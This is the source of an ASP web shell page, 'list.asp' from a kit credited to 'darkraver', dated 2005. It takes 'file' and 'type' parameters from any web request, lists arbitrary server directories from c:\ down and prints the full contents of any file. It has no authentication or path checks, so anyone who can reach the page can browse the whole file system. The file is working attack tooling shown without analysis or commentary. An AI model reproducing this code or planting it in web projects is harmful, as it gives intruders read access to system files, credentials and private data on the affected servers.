<!--ASP_KITlist.asp = Directory & File Viewby: darkravermodified: 16/12/2005--><%file=request("file")tipo=request("type")If file="" then file="c:\" tipo="1"End If%><%If tipo="1" then Response.Write("PATH: " & file & "
") ListFolder(file)End IfIf tipo="2" then Response.Write("FILE: " & file & "
") Set oStr = server.CreateObject("Scripting.FileSystemObject") Set oFich = oStr.OpenTextFile(file, 1) Response.Write("<pre>--
") Response.Write(oFich.ReadAll) Response.Write("
--</pre>")End If%><%sub ListFolder(path) set fs = CreateObject("Scripting.FileSystemObject") set folder = fs.GetFolder(path) Response.Write("
( ) <a href=?type=1&file=" & server.URLencode(path) & "..\>" & ".." & "</a>" & vbCrLf) for each item in folder.SubFolders Response.Write("
( ) <a href=?type=1&file=" & server.URLencode(item.path) & "\>" & item.Name & "</a>" & vbCrLf) next for each item in folder.Files Response.Write("<li><a href=?type=2&file=" & server.URLencode(item.path) & ">" & item.Name & "</a> - " & item.Size & " bytes, " & "</li>" & vbCrLf) nextend sub%>